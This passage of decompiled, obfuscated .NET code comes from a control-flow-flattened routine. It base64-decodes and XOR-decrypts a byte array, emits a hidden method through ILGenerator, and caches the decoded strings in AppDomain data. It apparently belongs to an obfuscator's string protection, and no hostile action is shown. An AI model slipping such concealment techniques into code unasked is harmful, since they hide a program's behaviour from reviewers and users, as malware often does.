|
case 2627601:
|
|
bytes[50] = (byte) ((uint) bytes[50] ^ 102U);
|
|
num1 = 161182924;
|
|
continue;
|
|
case 2627602:
|
|
bytes[67] = (byte) ((uint) bytes[67] ^ 85U);
|
|
num1 = 161184567;
|
|
continue;
|
|
case 2627603:
|
|
ilGenerator.Emit(OpCodes.Ldloc_S, 6);
|
|
num1 = 161182969;
|
|
continue;
|
|
case 2627604:
|
|
bytes[165] = (byte) ((uint) bytes[165] ^ 87U);
|
|
num1 = 161182849;
|
|
continue;
|
|
case 2627605:
|
|
bytes[233] = (byte) ((uint) bytes[233] ^ 84U);
|
|
num1 = 161182898;
|
|
continue;
|
|
case 2627606:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method11);
|
|
num1 = 161184532;
|
|
continue;
|
|
case 2627607:
|
|
bytes[65] = (byte) ((uint) bytes[65] ^ 49U);
|
|
num1 = 161182910;
|
|
continue;
|
|
case 2627608:
|
|
bytes[45] = (byte) ((uint) bytes[45] ^ 33U);
|
|
num1 = 161182907;
|
|
continue;
|
|
case 2627609:
|
|
bytes[44] = (byte) ((uint) bytes[44] ^ 103U);
|
|
num1 = 161184527;
|
|
continue;
|
|
case 2627610:
|
|
ilGenerator.Emit(OpCodes.Blt_S, label5);
|
|
num1 = 161182956;
|
|
continue;
|
|
case 2627611:
|
|
bytes[178] = (byte) ((uint) bytes[178] ^ 34U);
|
|
num1 = 161184699;
|
|
continue;
|
|
case 2627612:
|
|
bytes[113] = (byte) ((uint) bytes[113] ^ 68U);
|
|
num1 = 161182869;
|
|
continue;
|
|
case 2627613:
|
|
ilGenerator.DeclareLocal(typeof (StackFrame));
|
|
num1 = 161184545;
|
|
continue;
|
|
case 2627614:
|
|
bytes[148] = (byte) ((uint) bytes[148] ^ 91U);
|
|
num1 = 161182931;
|
|
continue;
|
|
case 2627615:
|
|
bytes[27] = (byte) ((uint) bytes[27] ^ 58U);
|
|
num1 = 161182949;
|
|
continue;
|
|
case 2627616:
|
|
bytes[68] = (byte) ((uint) bytes[68] ^ 8U);
|
|
num1 = 161182794;
|
|
continue;
|
|
case 2627617:
|
|
ilGenerator.Emit(OpCodes.Ldc_I4_S, 8);
|
|
num1 = 161182885;
|
|
continue;
|
|
case 2627618:
|
|
bytes[120] = (byte) ((uint) bytes[120] ^ 16U);
|
|
num1 = 161182958;
|
|
continue;
|
|
case 2627619:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method12);
|
|
num1 = 161184586;
|
|
continue;
|
|
case 2627620:
|
|
bytes[134] = (byte) ((uint) bytes[134] ^ 15U);
|
|
num1 = 161184546;
|
|
continue;
|
|
case 2627621:
|
|
bytes = Convert.FromBase64String(s);
|
|
num1 = 161182967;
|
|
continue;
|
|
case 2627622:
|
|
bytes[12] = (byte) ((uint) bytes[12] ^ 90U);
|
|
num1 = 161184583;
|
|
continue;
|
|
case 2627623:
|
|
ilGenerator.Emit(OpCodes.Blt_S, label1);
|
|
num1 = 161184649;
|
|
continue;
|
|
case 2627624:
|
|
bytes[23] = (byte) ((uint) bytes[23] ^ 108U);
|
|
num1 = 161184547;
|
|
continue;
|
|
case 2627625:
|
|
bytes[259] = (byte) ((uint) bytes[259] ^ 70U);
|
|
num1 = 161184589;
|
|
continue;
|
|
case 2627626:
|
|
methodBuilder = _param1.DefineMethod("?", attributes, typeof (void), new Type[2]
|
|
{
|
|
typeof (Stream),
|
|
typeof (string)
|
|
});
|
|
num1 = 161184645;
|
|
continue;
|
|
case 2627627:
|
|
bytes[160] = (byte) ((uint) bytes[160] ^ 65U);
|
|
num1 = 161184601;
|
|
continue;
|
|
case 2627628:
|
|
bytes[136] = (byte) ((uint) bytes[136] ^ 84U);
|
|
num1 = 161184671;
|
|
continue;
|
|
case 2627629:
|
|
ilGenerator.Emit(OpCodes.Ldc_I4_M1);
|
|
num1 = 161184642;
|
|
continue;
|
|
case 2627630:
|
|
bytes[54] = (byte) ((uint) bytes[54] ^ 13U);
|
|
num1 = 161182852;
|
|
continue;
|
|
case 2627631:
|
|
bytes[97] = (byte) ((uint) bytes[97] ^ 6U);
|
|
num1 = 161184603;
|
|
continue;
|
|
case 2627632:
|
|
bytes[140] = (byte) ((uint) bytes[140] ^ 96U);
|
|
num1 = 161184688;
|
|
continue;
|
|
case 2627633:
|
|
bytes[1] = (byte) ((uint) bytes[1] ^ 90U);
|
|
num1 = 161184686;
|
|
continue;
|
|
case 2627634:
|
|
bytes[90] = (byte) ((uint) bytes[90] ^ 10U);
|
|
num1 = 161184640;
|
|
continue;
|
|
case 2627635:
|
|
constructor2 = typeof (BinaryReader).GetConstructor(bindingAttr1, (Binder) null, new Type[1]
|
|
{
|
|
typeof (Stream)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161184592;
|
|
continue;
|
|
case 2627636:
|
|
bytes[24] = (byte) ((uint) bytes[24] ^ 64U);
|
|
num1 = 161184694;
|
|
continue;
|
|
case 2627637:
|
|
bytes[135] = (byte) ((uint) bytes[135] ^ 86U);
|
|
num1 = 161184571;
|
|
continue;
|
|
case 2627638:
|
|
ilGenerator.DeclareLocal(typeof (string));
|
|
num1 = 161184587;
|
|
continue;
|
|
case 2627639:
|
|
bytes[252] = (byte) ((uint) bytes[252] ^ 47U);
|
|
num1 = 161184721;
|
|
continue;
|
|
case 2627640:
|
|
bytes[131] = (byte) ((uint) bytes[131] ^ 64U);
|
|
num1 = 161182905;
|
|
continue;
|
|
case 2627641:
|
|
bytes[243] = (byte) ((uint) bytes[243] ^ 26U);
|
|
num1 = 161184606;
|
|
continue;
|
|
case 2627642:
|
|
bytes[105] = (byte) ((uint) bytes[105] ^ 110U);
|
|
num1 = 161182827;
|
|
continue;
|
|
case 2627643:
|
|
bytes[237] = (byte) ((uint) bytes[237] ^ 34U);
|
|
num1 = 161182972;
|
|
continue;
|
|
case 2627644:
|
|
bytes[174] = (byte) ((uint) bytes[174] ^ 60U);
|
|
num1 = 161182874;
|
|
continue;
|
|
case 2627645:
|
|
ilGenerator.Emit(OpCodes.Stloc_3);
|
|
num1 = 161182961;
|
|
continue;
|
|
case 2627646:
|
|
ilGenerator.Emit(OpCodes.Ldstr, strArray[15]);
|
|
num1 = 161184682;
|
|
continue;
|
|
case 2627647:
|
|
bytes[75] = (byte) ((uint) bytes[75] ^ 19U);
|
|
num1 = 161184685;
|
|
continue;
|
|
case 2627648:
|
|
methodBuilder.DefineParameter(1, ParameterAttributes.None, "a");
|
|
num1 = 161184680;
|
|
continue;
|
|
case 2627649:
|
|
bytes[96] = (byte) ((uint) bytes[96] ^ 9U);
|
|
num1 = 161184568;
|
|
continue;
|
|
case 2627650:
|
|
bytes[151] = (byte) ((uint) bytes[151] ^ 50U);
|
|
num1 = 161182835;
|
|
continue;
|
|
case 2627651:
|
|
bytes[74] = (byte) ((uint) bytes[74] ^ 20U);
|
|
num1 = 161184552;
|
|
continue;
|
|
case 2627652:
|
|
bytes[16] = (byte) ((uint) bytes[16] ^ 38U);
|
|
num1 = 161182864;
|
|
continue;
|
|
case 2627653:
|
|
bytes[78] = (byte) ((uint) bytes[78] ^ 5U);
|
|
num1 = 161184541;
|
|
continue;
|
|
case 2627654:
|
|
method11 = typeof (MemberInfo).GetMethod(strArray[2], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182963;
|
|
continue;
|
|
case 2627655:
|
|
constructor3 = typeof (Hashtable).GetConstructor(bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182877;
|
|
continue;
|
|
case 2627656:
|
|
bytes[77] = (byte) ((uint) bytes[77] ^ 104U);
|
|
num1 = 161184594;
|
|
continue;
|
|
case 2627657:
|
|
bytes[244] = (byte) ((uint) bytes[244] ^ 29U);
|
|
num1 = 161182896;
|
|
continue;
|
|
case 2627658:
|
|
ilGenerator.Emit(OpCodes.Ldloc_1);
|
|
num1 = 161184669;
|
|
continue;
|
|
case 2627659:
|
|
label5 = ilGenerator.DefineLabel();
|
|
num1 = 161182944;
|
|
continue;
|
|
case 2627660:
|
|
bytes[98] = (byte) ((uint) bytes[98] ^ 36U);
|
|
num1 = 161182960;
|
|
continue;
|
|
case 2627661:
|
|
bytes[235] = (byte) ((uint) bytes[235] ^ 102U);
|
|
num1 = 161184616;
|
|
continue;
|
|
case 2627662:
|
|
bytes[161] = (byte) ((uint) bytes[161] ^ 87U);
|
|
num1 = 161184728;
|
|
continue;
|
|
case 2627663:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method9);
|
|
num1 = 161184588;
|
|
continue;
|
|
case 2627664:
|
|
bytes[13] = (byte) ((uint) bytes[13] ^ 40U);
|
|
num1 = 161184658;
|
|
continue;
|
|
case 2627665:
|
|
bytes[145] = (byte) ((uint) bytes[145] ^ 67U);
|
|
num1 = 161182851;
|
|
continue;
|
|
case 2627666:
|
|
bytes[94] = (byte) ((uint) bytes[94] ^ 61U);
|
|
num1 = 161184633;
|
|
continue;
|
|
case 2627667:
|
|
bytes[209] = (byte) ((uint) bytes[209] ^ 13U);
|
|
num1 = 161182821;
|
|
continue;
|
|
case 2627668:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method8);
|
|
num1 = 161184513;
|
|
continue;
|
|
case 2627669:
|
|
bytes[39] = (byte) ((uint) bytes[39] ^ 80U);
|
|
num1 = 161182968;
|
|
continue;
|
|
case 2627670:
|
|
bytes[200] = (byte) ((uint) bytes[200] ^ 65U);
|
|
num1 = 161184693;
|
|
continue;
|
|
case 2627671:
|
|
bytes[119] = (byte) ((uint) bytes[119] ^ 29U);
|
|
num1 = 161184565;
|
|
continue;
|
|
case 2627672:
|
|
ilGenerator.Emit(OpCodes.Stloc_S, 6);
|
|
num1 = 161182868;
|
|
continue;
|
|
case 2627673:
|
|
bytes[206] = (byte) ((uint) bytes[206] ^ 126U);
|
|
num1 = 161184646;
|
|
continue;
|
|
case 2627674:
|
|
bytes[260] = (byte) ((uint) bytes[260] ^ 58U);
|
|
num1 = 161184629;
|
|
continue;
|
|
case 2627675:
|
|
ilGenerator.Emit(OpCodes.Ldc_I4_M1);
|
|
num1 = 161182867;
|
|
continue;
|
|
case 2627676:
|
|
ilGenerator.DeclareLocal(typeof (long));
|
|
num1 = 161182900;
|
|
continue;
|
|
case 2627677:
|
|
ilGenerator.Emit(OpCodes.Ret);
|
|
num1 = 161184710;
|
|
continue;
|
|
case 2627678:
|
|
bytes[26] = (byte) ((uint) bytes[26] ^ 88U);
|
|
num1 = 161184520;
|
|
continue;
|
|
case 2627679:
|
|
bytes[15] = (byte) ((uint) bytes[15] ^ 105U);
|
|
num1 = 161184595;
|
|
continue;
|
|
case 2627680:
|
|
label4 = ilGenerator.DefineLabel();
|
|
num1 = 161184604;
|
|
continue;
|
|
case 2627681:
|
|
bytes[213] = (byte) ((uint) bytes[213] ^ 74U);
|
|
num1 = 161182829;
|
|
continue;
|
|
case 2627682:
|
|
bytes[261] = (byte) ((uint) bytes[261] ^ 109U);
|
|
num1 = 161184533;
|
|
continue;
|
|
case 2627683:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method13);
|
|
num1 = 161184525;
|
|
continue;
|
|
case 2627684:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method4);
|
|
num1 = 161182933;
|
|
continue;
|
|
case 2627685:
|
|
ilGenerator.Emit(OpCodes.Ldloc_0);
|
|
num1 = 161184692;
|
|
continue;
|
|
case 2627686:
|
|
bytes[111] = (byte) ((uint) bytes[111] ^ 69U);
|
|
num1 = 161184678;
|
|
continue;
|
|
case 2627687:
|
|
bytes[4] = bytes[4];
|
|
num1 = 161184639;
|
|
continue;
|
|
case 2627688:
|
|
bytes[5] = (byte) ((uint) bytes[5] ^ 107U);
|
|
num1 = 161182846;
|
|
continue;
|
|
case 2627689:
|
|
bytes[239] = (byte) ((uint) bytes[239] ^ 95U);
|
|
num1 = 161184613;
|
|
continue;
|
|
case 2627690:
|
|
ilGenerator.Emit(OpCodes.Ldarg_0);
|
|
num1 = 161184627;
|
|
continue;
|
|
case 2627691:
|
|
bytes[10] = (byte) ((uint) bytes[10] ^ 46U);
|
|
num1 = 161184679;
|
|
continue;
|
|
case 2627692:
|
|
bytes[124] = (byte) ((uint) bytes[124] ^ 51U);
|
|
num1 = 161182941;
|
|
continue;
|
|
case 2627693:
|
|
ilGenerator.Emit(OpCodes.Conv_I4);
|
|
num1 = 161182853;
|
|
continue;
|
|
case 2627694:
|
|
bytes[95] = (byte) ((uint) bytes[95] ^ 60U);
|
|
num1 = 161184598;
|
|
continue;
|
|
case 2627695:
|
|
bytes[43] = (byte) ((uint) bytes[43] ^ 66U);
|
|
num1 = 161184526;
|
|
continue;
|
|
case 2627696:
|
|
bytes[104] = (byte) ((uint) bytes[104] ^ 126U);
|
|
num1 = 161184557;
|
|
continue;
|
|
case 2627697:
|
|
bytes[41] = (byte) ((uint) bytes[41] ^ 3U);
|
|
num1 = 161184683;
|
|
continue;
|
|
case 2627698:
|
|
bytes[240] = (byte) ((uint) bytes[240] ^ 87U);
|
|
num1 = 161182916;
|
|
continue;
|
|
case 2627699:
|
|
bytes[217] = (byte) ((uint) bytes[217] ^ 56U);
|
|
num1 = 161184618;
|
|
continue;
|
|
case 2627700:
|
|
bytes[38] = (byte) ((uint) bytes[38] ^ 15U);
|
|
num1 = 161184578;
|
|
continue;
|
|
case 2627701:
|
|
bytes[62] = (byte) ((uint) bytes[62] ^ 121U);
|
|
num1 = 161182914;
|
|
continue;
|
|
case 2627702:
|
|
bytes[157] = (byte) ((uint) bytes[157] ^ 52U);
|
|
num1 = 161182855;
|
|
continue;
|
|
case 2627703:
|
|
ilGenerator.MarkLabel(label3);
|
|
num1 = 161182793;
|
|
continue;
|
|
case 2627704:
|
|
label1 = ilGenerator.DefineLabel();
|
|
num1 = 161182872;
|
|
continue;
|
|
case 2627705:
|
|
bytes[231] = (byte) ((uint) bytes[231] ^ 2U);
|
|
num1 = 161182836;
|
|
continue;
|
|
case 2627706:
|
|
bytes[198] = (byte) ((uint) bytes[198] ^ 13U);
|
|
num1 = 161182925;
|
|
continue;
|
|
case 2627707:
|
|
bytes[208] = (byte) ((uint) bytes[208] ^ 73U);
|
|
num1 = 161184580;
|
|
continue;
|
|
case 2627708:
|
|
bytes[142] = (byte) ((uint) bytes[142] ^ 60U);
|
|
num1 = 161182946;
|
|
continue;
|
|
case 2627709:
|
|
bytes[218] = (byte) ((uint) bytes[218] ^ 51U);
|
|
num1 = 161184659;
|
|
continue;
|
|
case 2627710:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method5);
|
|
num1 = 161184634;
|
|
continue;
|
|
case 2627711:
|
|
bytes[236] = (byte) ((uint) bytes[236] ^ 86U);
|
|
num1 = 161184556;
|
|
continue;
|
|
case 2627712:
|
|
bytes[147] = (byte) ((uint) bytes[147] ^ 5U);
|
|
num1 = 161184521;
|
|
continue;
|
|
case 2627713:
|
|
method14 = typeof (Hashtable).GetMethod(strArray[12], bindingAttr1, (Binder) null, new Type[2]
|
|
{
|
|
typeof (object),
|
|
typeof (object)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161182845;
|
|
continue;
|
|
case 2627714:
|
|
bytes[86] = (byte) ((uint) bytes[86] ^ 32U);
|
|
num1 = 161182878;
|
|
continue;
|
|
case 2627715:
|
|
method15 = typeof (MemberInfo).GetMethod(strArray[5], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182929;
|
|
continue;
|
|
case 2627716:
|
|
bytes[219] = (byte) ((uint) bytes[219] ^ 24U);
|
|
num1 = 161182908;
|
|
continue;
|
|
case 2627717:
|
|
bytes[14] = (byte) ((uint) bytes[14] ^ 118U);
|
|
num1 = 161184584;
|
|
continue;
|
|
case 2627718:
|
|
method13 = type1.GetMethod(strArray[8], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182879;
|
|
continue;
|
|
case 2627719:
|
|
bytes[242] = (byte) ((uint) bytes[242] ^ 112U);
|
|
num1 = 161184558;
|
|
continue;
|
|
case 2627720:
|
|
bytes[137] = (byte) ((uint) bytes[137] ^ 29U);
|
|
num1 = 161184722;
|
|
continue;
|
|
case 2627721:
|
|
ilGenerator.Emit(OpCodes.Ldtoken, typeof (\uE008));
|
|
num1 = 161184727;
|
|
continue;
|
|
case 2627722:
|
|
ilGenerator.Emit(OpCodes.Ldloc_0);
|
|
num1 = 161184628;
|
|
continue;
|
|
case 2627723:
|
|
bytes[123] = (byte) ((uint) bytes[123] ^ 72U);
|
|
num1 = 161184635;
|
|
continue;
|
|
case 2627724:
|
|
ilGenerator.Emit(OpCodes.Stloc_1);
|
|
num1 = 161184697;
|
|
continue;
|
|
case 2627725:
|
|
bytes[144] = (byte) ((uint) bytes[144] ^ 37U);
|
|
num1 = 161184582;
|
|
continue;
|
|
case 2627726:
|
|
bytes[22] = (byte) ((uint) bytes[22] ^ 43U);
|
|
num1 = 161184575;
|
|
continue;
|
|
case 2627727:
|
|
ilGenerator.Emit(OpCodes.Call, method7);
|
|
num1 = 161184608;
|
|
continue;
|
|
case 2627728:
|
|
bytes[170] = (byte) ((uint) bytes[170] ^ 106U);
|
|
num1 = 161182818;
|
|
continue;
|
|
case 2627729:
|
|
bytes[207] = (byte) ((uint) bytes[207] ^ 7U);
|
|
num1 = 161184620;
|
|
continue;
|
|
case 2627730:
|
|
type1 = Type.GetType(strArray[16]);
|
|
num1 = 161182838;
|
|
continue;
|
|
case 2627731:
|
|
bytes[173] = (byte) ((uint) bytes[173] ^ 40U);
|
|
num1 = 161184555;
|
|
continue;
|
|
case 2627732:
|
|
bytes[222] = (byte) ((uint) bytes[222] ^ 17U);
|
|
num1 = 161184537;
|
|
continue;
|
|
case 2627733:
|
|
ilGenerator.Emit(OpCodes.Beq_S, label4);
|
|
num1 = 161184648;
|
|
continue;
|
|
case 2627734:
|
|
bytes[192] = (byte) ((uint) bytes[192] ^ 97U);
|
|
num1 = 161182854;
|
|
continue;
|
|
case 2627735:
|
|
bytes[91] = (byte) ((uint) bytes[91] ^ 47U);
|
|
num1 = 161184726;
|
|
continue;
|
|
case 2627736:
|
|
bytes[247] = (byte) ((uint) bytes[247] ^ 23U);
|
|
num1 = 161182825;
|
|
continue;
|
|
case 2627737:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method15);
|
|
num1 = 161184600;
|
|
continue;
|
|
case 2627738:
|
|
bytes[184] = (byte) ((uint) bytes[184] ^ 37U);
|
|
num1 = 161182938;
|
|
continue;
|
|
case 2627739:
|
|
bytes[172] = (byte) ((uint) bytes[172] ^ 50U);
|
|
num1 = 161184644;
|
|
continue;
|
|
case 2627740:
|
|
label6 = ilGenerator.DefineLabel();
|
|
num1 = 161182964;
|
|
continue;
|
|
case 2627741:
|
|
bytes[115] = (byte) ((uint) bytes[115] ^ 63U);
|
|
num1 = 161184681;
|
|
continue;
|
|
case 2627742:
|
|
ilGenerator.Emit(OpCodes.Call, method1);
|
|
num1 = 161182970;
|
|
continue;
|
|
case 2627743:
|
|
ilGenerator.Emit(OpCodes.Ldc_I4_0);
|
|
num1 = 161184664;
|
|
continue;
|
|
case 2627744:
|
|
ilGenerator.DeclareLocal(typeof (Hashtable));
|
|
num1 = 161184651;
|
|
continue;
|
|
case 2627745:
|
|
bytes[25] = (byte) ((uint) bytes[25] ^ 55U);
|
|
num1 = 161184585;
|
|
continue;
|
|
case 2627746:
|
|
bytes[201] = (byte) ((uint) bytes[201] ^ 108U);
|
|
num1 = 161184687;
|
|
continue;
|
|
case 2627747:
|
|
ilGenerator.Emit(OpCodes.Ldloc_1);
|
|
num1 = 161184691;
|
|
continue;
|
|
case 2627748:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method3);
|
|
num1 = 161182926;
|
|
continue;
|
|
case 2627749:
|
|
bytes[204] = (byte) ((uint) bytes[204] ^ 18U);
|
|
num1 = 161184684;
|
|
continue;
|
|
case 2627750:
|
|
bytes[117] = (byte) ((uint) bytes[117] ^ 86U);
|
|
num1 = 161182824;
|
|
continue;
|
|
case 2627751:
|
|
bytes[141] = (byte) ((uint) bytes[141] ^ 119U);
|
|
num1 = 161184619;
|
|
continue;
|
|
case 2627752:
|
|
bytes[37] = (byte) ((uint) bytes[37] ^ 46U);
|
|
num1 = 161184611;
|
|
continue;
|
|
case 2627753:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method2);
|
|
num1 = 161184674;
|
|
continue;
|
|
case 2627754:
|
|
ilGenerator.Emit(OpCodes.Stloc_S, 5);
|
|
num1 = 161182889;
|
|
continue;
|
|
case 2627755:
|
|
bytes[196] = (byte) ((uint) bytes[196] ^ 70U);
|
|
num1 = 161182920;
|
|
continue;
|
|
case 2627756:
|
|
bytes[179] = (byte) ((uint) bytes[179] ^ 111U);
|
|
num1 = 161182883;
|
|
continue;
|
|
case 2627757:
|
|
bytes[246] = (byte) ((uint) bytes[246] ^ 13U);
|
|
num1 = 161184655;
|
|
continue;
|
|
case 2627758:
|
|
ilGenerator.MarkLabel(label6);
|
|
num1 = 161184605;
|
|
continue;
|
|
case 2627759:
|
|
bytes[89] = (byte) ((uint) bytes[89] ^ 63U);
|
|
num1 = 161184549;
|
|
continue;
|
|
case 2627760:
|
|
bytes[11] = (byte) ((uint) bytes[11] ^ 71U);
|
|
num1 = 161184561;
|
|
continue;
|
|
case 2627761:
|
|
bytes[112] = (byte) ((uint) bytes[112] ^ 8U);
|
|
num1 = 161184523;
|
|
continue;
|
|
case 2627762:
|
|
type2 = Type.GetType(strArray[17]);
|
|
num1 = 161182893;
|
|
continue;
|
|
case 2627763:
|
|
ilGenerator.Emit(OpCodes.Br_S, label6);
|
|
num1 = 161184672;
|
|
continue;
|
|
case 2627764:
|
|
bytes[71] = (byte) ((uint) bytes[71] ^ 119U);
|
|
num1 = 161182913;
|
|
continue;
|
|
case 2627765:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method14);
|
|
num1 = 161182863;
|
|
continue;
|
|
case 2627766:
|
|
bytes[103] = (byte) ((uint) bytes[103] ^ 110U);
|
|
num1 = 161184615;
|
|
continue;
|
|
case 2627767:
|
|
ilGenerator.MarkLabel(label5);
|
|
num1 = 161184626;
|
|
continue;
|
|
case 2627768:
|
|
bytes[202] = (byte) ((uint) bytes[202] ^ 80U);
|
|
num1 = 161184711;
|
|
continue;
|
|
case 2627769:
|
|
bytes[2] = (byte) ((uint) bytes[2] ^ 122U);
|
|
num1 = 161182911;
|
|
continue;
|
|
case 2627770:
|
|
bytes[76] = (byte) ((uint) bytes[76] ^ 70U);
|
|
num1 = 161184607;
|
|
continue;
|
|
case 2627771:
|
|
bytes[205] = (byte) ((uint) bytes[205] ^ 68U);
|
|
num1 = 161184590;
|
|
continue;
|
|
case 2627772:
|
|
bytes[42] = (byte) ((uint) bytes[42] ^ 117U);
|
|
num1 = 161184632;
|
|
continue;
|
|
case 2627773:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method9);
|
|
num1 = 161184570;
|
|
continue;
|
|
case 2627774:
|
|
bytes[116] = (byte) ((uint) bytes[116] ^ 10U);
|
|
num1 = 161184689;
|
|
continue;
|
|
case 2627775:
|
|
methodBuilder.DefineParameter(2, ParameterAttributes.None, "b");
|
|
num1 = 161182903;
|
|
continue;
|
|
case 2627776:
|
|
ilGenerator.Emit(OpCodes.Call, method6);
|
|
num1 = 161184654;
|
|
continue;
|
|
case 2627777:
|
|
bytes[92] = (byte) ((uint) bytes[92] ^ 73U);
|
|
num1 = 161182888;
|
|
continue;
|
|
case 2627778:
|
|
ilGenerator.Emit(OpCodes.Ldarg_0);
|
|
num1 = 161182974;
|
|
continue;
|
|
case 2627779:
|
|
bytes[164] = (byte) ((uint) bytes[164] ^ 111U);
|
|
num1 = 161184515;
|
|
continue;
|
|
case 2627780:
|
|
bytes[191] = (byte) ((uint) bytes[191] ^ 31U);
|
|
num1 = 161184641;
|
|
continue;
|
|
case 2627781:
|
|
bytes[138] = (byte) ((uint) bytes[138] ^ 35U);
|
|
num1 = 161182840;
|
|
continue;
|
|
case 2627782:
|
|
bytes[253] = (byte) ((uint) bytes[253] ^ 116U);
|
|
num1 = 161182902;
|
|
continue;
|
|
case 2627783:
|
|
bytes[128] = (byte) ((uint) bytes[128] ^ 117U);
|
|
num1 = 161182858;
|
|
continue;
|
|
case 2627784:
|
|
bytes[150] = (byte) ((uint) bytes[150] ^ 49U);
|
|
num1 = 161184597;
|
|
continue;
|
|
case 2627785:
|
|
bytes[177] = (byte) ((uint) bytes[177] ^ 95U);
|
|
num1 = 161184524;
|
|
continue;
|
|
case 2627786:
|
|
bytes[183] = (byte) ((uint) bytes[183] ^ 119U);
|
|
num1 = 161184653;
|
|
continue;
|
|
case 2627787:
|
|
bytes[156] = (byte) ((uint) bytes[156] ^ 38U);
|
|
num1 = 161184609;
|
|
continue;
|
|
case 2627788:
|
|
ilGenerator.Emit(OpCodes.Ldloc_S, 4);
|
|
num1 = 161184560;
|
|
continue;
|
|
case 2627789:
|
|
bytes[154] = (byte) ((uint) bytes[154] ^ 37U);
|
|
num1 = 161182965;
|
|
continue;
|
|
case 2627790:
|
|
method12 = typeof (AppDomain).GetMethod(strArray[14], bindingAttr1, (Binder) null, new Type[2]
|
|
{
|
|
typeof (string),
|
|
typeof (object)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161184599;
|
|
continue;
|
|
case 2627791:
|
|
bytes[162] = (byte) ((uint) bytes[162] ^ 49U);
|
|
num1 = 161182937;
|
|
continue;
|
|
case 2627792:
|
|
bytes[203] = (byte) ((uint) bytes[203] ^ 71U);
|
|
num1 = 161184690;
|
|
continue;
|
|
case 2627793:
|
|
goto label_389;
|
|
default:
|
|
goto label_15;
|
|
}
|
|
}
|
|
label_389:
|
|
return methodBuilder;
|
|
default:
|
|
label_14:
|
|
num3 = 1138193139;
|
|
num4 = -1025290772;
|
|
goto label_4;
|
|
}
|
|
label_3:
|
|
num3 ^= 1137172511;
|
|
switch (num3)
|
|
{
|
|
case 1086188:
|
|
goto label_15;
|
|
case 1086189:
|
|
goto label_2;
|
|
default:
|
|
goto label_13;
|
|
}
|
|
label_4:
|
|
num4 ^= 1030982212;
|
|
switch (num4 + 7288921)
|
|
{
|
|
case 0:
|
|
goto label_14;
|
|
case 1:
|
|
goto label_3;
|
|
default:
|
|
goto label_12;
|
|
}
|
|
label_5:
|
|
int num5;
|
|
num5 ^= 925277017;
|
|
switch (num5)
|
|
{
|
|
case 2417062:
|
|
goto label_13;
|
|
case 2417063:
|
|
goto label_4;
|
|
default:
|
|
goto label_11;
|
|
}
|
|
label_6:
|
|
int num6;
|
|
num6 ^= 392171661;
|
|
switch (num6 + 5930250)
|
|
{
|
|
case 0:
|
|
goto label_12;
|
|
case 1:
|
|
goto label_5;
|
|
default:
|
|
goto label_10;
|
|
}
|
|
label_7:
|
|
int num7;
|
|
num7 ^= 1483683101;
|
|
switch (num7)
|
|
{
|
|
case 4068085:
|
|
goto label_11;
|
|
case 4068086:
|
|
goto label_6;
|
|
default:
|
|
goto label_9;
|
|
}
|
|
label_8:
|
|
int num8;
|
|
switch ((num8 ^ 1451832551) + 8094700)
|
|
{
|
|
case 0:
|
|
goto label_10;
|
|
case 1:
|
|
goto label_7;
|
|
}
|
|
label_9:
|
|
num8 = -1458747149;
|
|
goto label_8;
|
|
label_10:
|
|
num7 = 1481713640;
|
|
num8 = -1458747150;
|
|
goto label_8;
|
|
label_11:
|
|
num6 = -389705093;
|
|
num7 = 1481713643;
|
|
goto label_7;
|
|
label_12:
|
|
num5 = 922909439;
|
|
num6 = -389705094;
|
|
goto label_6;
|
|
label_13:
|
|
num4 = -1025290781;
|
|
num5 = 922909438;
|
|
goto label_5;
|
|
label_15:
|
|
num2 = -1131945112;
|
|
num3 = 1138193138;
|
|
goto label_3;
|
|
}
|
|
|
|
public string \uE001(int _param1) => (string) ((Hashtable) AppDomain.CurrentDomain.GetData(\uE008.\uE000))[(object) _param1];
|
|
}
|
|
}
|